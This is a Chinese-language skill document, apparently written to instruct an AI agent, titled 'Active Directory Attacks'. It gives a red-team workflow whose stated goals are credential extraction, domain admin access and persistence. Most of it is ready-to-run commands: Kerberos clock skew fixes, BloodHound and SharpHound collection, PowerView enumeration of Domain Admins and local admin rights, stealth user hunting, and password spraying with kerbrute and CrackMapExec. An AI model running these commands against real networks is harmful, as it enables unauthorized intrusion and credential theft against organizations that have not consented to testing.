[ PROMPT_NODE_27588 ]
Active Directory Attacks
[ SKILL_DOCUMENTATION ]
# Active Directory 攻击
## 目的
提供攻击 Microsoft Active Directory 环境的综合技术。涵盖红队操作和渗透测试中的侦察、凭据收集、Kerberos 攻击、横向移动、权限提升和域控制。
## 输入/先决条件
- Kali Linux 或 Windows 攻击平台
- 域用户凭据(大多数攻击所需)
- 对域控制器的网络访问
- 工具:Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec
## 输出/交付物
- 域枚举数据
- 提取的凭据和哈希
- 用于模拟的 Kerberos 票据
- 域管理员访问权限
- 持久化访问机制
---
## 核心工具
| 工具 | 用途 |
|------|---------|
| BloodHound | AD 攻击路径可视化 |
| Impacket | Python AD 攻击工具集 |
| Mimikatz | 凭据提取 |
| Rubeus | Kerberos 攻击 |
| CrackMapExec | 网络利用 |
| PowerView | AD 枚举 |
| Responder | LLMNR/NBT-NS 投毒 |
---
## 核心工作流
### 第 1 步:Kerberos 时钟同步
Kerberos 要求时钟同步(±5 分钟):
bash
# 检测时钟偏差
nmap -sT 10.10.10.10 -p445 --script smb2-time
# 在 Linux 上修复时钟
sudo date -s "14 APR 2024 18:25:16"
# 在 Windows 上修复时钟
net time /domain /set
# 在不更改系统时间的情况下伪造时钟
faketime -f '+8h'
### 第 2 步:使用 BloodHound 进行 AD 侦察
bash
# 启动 BloodHound
neo4j console
bloodhound --no-sandbox
# 使用 SharpHound 收集数据
.SharpHound.exe -c All
.SharpHound.exe -c All --ldapusername user --ldappassword pass
# Python 收集器(来自 Linux)
bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all
### 第 3 步:PowerView 枚举
powershell
# 获取域信息
Get-NetDomain
Get-DomainSID
Get-NetDomainController
# 枚举用户
Get-NetUser
Get-NetUser -SamAccountName targetuser
Get-UserProperty -Properties pwdlastset
# 枚举组
Get-NetGroupMember -GroupName "Domain Admins"
Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member
# 查找本地管理员访问权限
Find-LocalAdminAccess -Verbose
# 用户狩猎
Invoke-UserHunter
Invoke-UserHunter -Stealth
---
## 凭据攻击
### 密码喷洒 (Password Spraying)
bash
# 使用 kerbrute
./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123
# 使用 CrackMapExec
crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success
`